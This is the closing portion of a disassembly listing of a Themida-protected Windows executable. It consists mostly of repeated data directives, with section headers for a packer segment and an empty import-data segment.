		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		dd 3505248Fh, 3ABh dup(35052480h), 92052480h, 81h dup(921B3D6Ah)
		dd 383D16Ah, 44EFD166h,	59h dup(44EF1228h)
		db 28h,	12h, 0EFh
byte_5D4D5B	db 44h			; DATA XREF: ___:off_43162Co
		dd 1C5h	dup(44EF1228h),	0CCEF1228h, 756h dup(0CCCCCCCCh)
		dd 1B8Dh dup(0)
Themida_	ends

; Section 5. (virtual address 001DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DE000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start